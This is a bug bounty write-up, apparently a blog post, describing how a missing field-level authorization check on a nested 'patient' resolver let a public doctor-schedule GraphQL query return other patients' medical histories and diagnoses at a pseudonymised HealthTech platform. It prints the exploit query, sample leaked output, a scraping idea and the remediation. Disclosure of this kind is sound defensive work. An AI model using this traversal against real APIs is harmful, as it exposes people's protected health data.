June 21, 2026
How a Missing GraphQL Authorization Check Exposed a HealthTech Unicorn’s Medical Records
In the world of modern APIs, GraphQL is king. It’s flexible, efficient, and allows front-end developers to request exactly the data they…
Tanvi Chauhan
4 min read
In the world of modern APIs, GraphQL is king. It's flexible, efficient, and allows front-end developers to request exactly the data they need with a single query. Instead of hitting ten different REST endpoints, you ask for what you want, and GraphQL delivers.
But that flexibility is a double-edged sword. Because GraphQL acts as a single data gateway, securing it requires rigorous, object-level authorization checks at the individual resolver layer. If a developer forgets to secure just one specific relationship field, the entire database can leak.
This is the story of how a prominent HealthTech platform — let's call them MediCloud — inadvertently exposed the private medical records, lab results, and diagnostic histories of over two million patients due to a single missing check in a nested GraphQL resolver.
The exploit took less than ten minutes to construct and resulted in a $14,000 bug bounty reward.
The Target: The Patient Dashboard
MediCloud provides an online portal where patients can view their prescriptions, message their doctors, and download lab results.
When you log into your patient dashboard, the browser sends a standard GraphQL POST request to /api/graphql to populate the user interface. I intercepted this request using Burp Suite to analyze the query structure:
GraphQL
query GetPatientDashboard {
me {
id
firstName
lastName
email
appointments {
id
date
doctorName
}
}
}query GetPatientDashboard {
me {
id
firstName
lastName
email
appointments {
id
date
doctorName
}
}
}The response returned my account details perfectly. If I tried to alter my own id inside the me query, the server blocked it. The application was correctly validating my session cookie and binding the me scope strictly to my authenticated user ID.
From an exterior look, the API was completely secure against standard Broken Object Level Authorization (BOLA) attacks.
The Footprint: Deep-Diving the GraphQL Schema
The true power of testing GraphQL lies in introspection. Introspection is a built-in feature that allows anyone to query the API for its entire schema, revealing every available data type, query, mutation, and relationship.
Many production environments disable introspection, but MediCloud had left it enabled on their staging gateway, which mirrored production. I ran an introspection query and mapped out their schema.
I discovered a type called Appointment that contained a nested field named patient:
GraphQL
type Appointment {
id: ID!
date: String!
doctorName: String!
patient: PatientProfile! # <--- Interesting relationship
}
type PatientProfile {
id: ID!
medicalHistory: String
bloodType: String
diagnoses: [String]
}type Appointment {
id: ID!
date: String!
doctorName: String!
patient: PatientProfile! # <--- Interesting relationship
}
type PatientProfile {
id: ID!
medicalHistory: String
bloodType: String
diagnoses: [String]
}This meant that if you could query an Appointment object directly by its ID, you could theoretically ask for the patient object connected to it, pulling back their highly sensitive medical data.
The Twist: Nested Resolver Bypasses
I looked for a root-level query that allowed fetching appointments directly by ID. I found one: appointment(id: ID!).
I attempted to query an appointment ID belonging to another user:
GraphQL
query {
appointment(id: "88392") {
date
doctorName
}
}query {
appointment(id: "88392") {
date
doctorName
}
}Result: 403 Forbidden - You are not authorized to view this appointment.
The developer had successfully placed an authorization check on the root appointment query. The system verified whether the logged-in user's ID matched the patient ID tied to that specific appointment. If it didn't, the request was rejected.
But here is where GraphQL's architecture gets tricky. The root query isn't the only way to access an object. What happens if we access an appointment through a completely different, unrelated path in the graph?
I scanned the schema for other fields returning the Appointment type and found a totally separate query used by the portal's public scheduling widget: publicDoctorSchedule(doctorName: String!).
This query was completely public because unauthenticated users needed to see when doctors were free to book an opening.
GraphQL
query {
publicDoctorSchedule(doctorName: "Dr. Smith") {
id
date
}
}query {
publicDoctorSchedule(doctorName: "Dr. Smith") {
id
date
}
}The response yielded a list of upcoming appointment slots, including the unique id values for slots that were already booked by other patients.
Because it was a public directory, the root authorization check on publicDoctorSchedule was wide open. But what if I appended the nested patient field right inside this public query?
The Exploit: Graph Traversing to Sensitive Data
I crafted a query targeting the public schedule of a doctor, but I reached past the public id and date fields, traversing deeper into the graph to request the private patient profile attached to those booked slots:
GraphQL
query {
publicDoctorSchedule(doctorName: "Dr. Smith") {
id
date
patient {
id
medicalHistory
diagnoses
}
}
}query {
publicDoctorSchedule(doctorName: "Dr. Smith") {
id
date
patient {
id
medicalHistory
diagnoses
}
}
}I hit Send.
JSON
{
"data": {
"publicDoctorSchedule": [
{
"id": "88392",
"date": "2026-07-14",
"patient": {
"id": "USR_99210",
"medicalHistory": "Patient presented with acute fatigue...",
"diagnoses": ["Type 2 Diabetes", "Hypertension"]
}
}
]
}
}{
"data": {
"publicDoctorSchedule": [
{
"id": "88392",
"date": "2026-07-14",
"patient": {
"id": "USR_99210",
"medicalHistory": "Patient presented with acute fatigue...",
"diagnoses": ["Type 2 Diabetes", "Hypertension"]
}
}
]
}
}The database dropped everything.
The security flaw here was catastrophic. While the developers had secured the root-level appointment(id) query, they completely forgot to write an authorization check inside the individual resolver function for the patient field itself when nested inside other types.
Because GraphQL evaluates fields independently as it walks down the query tree, the public query allowed me to fetch the appointment objects, and the backend blindly executed the nested patient resolver without checking if I had permission to view that specific patient's profile. By script-cycling through the names of doctors, an attacker could scrape the entire patient database.
The Remediation and Payout
I instantly closed my testing tools, compiled a report with a single, minimized query showing the vulnerability, and marked it with maximum severity due to the massive Protected Health Information (PHI) exposure risk.
- Submission: Wednesday, 4:00 PM
- Triaged as P1 (Critical): Wednesday, 4:45 PM (API gateway temporarily taken offline for hot-fixing)
- Fix Validated: Wednesday, 7:30 PM
- Bounty Awarded: $14,000
MediCloud fixed the issue by implementing a centralized authorization middleware layer. Instead of placing security logic solely on top-level queries, they enforced field-level security checks directly within the PatientProfile resolver, ensuring it validates the request context session no matter where it is invoked in the graph structure.
Core Lessons
- For Developers: Never conflate query-level security with field-level authorization. In GraphQL, authorization must be implemented at the resolver layer for any sensitive data type. If a type contains private data, its resolver must verify user permissions every single time it is fetched, regardless of the parent query.
- For Bug Hunters: Always map out the entire GraphQL schema using introspection (or field-guessing tools if introspection is off). Look for data loops and alternative paths. If a direct path to an object is blocked, look for relationship links inside public queries to see if the nested fields lack the proper defensive guards.
𝒯𝒶𝓃𝓋𝒾 ♡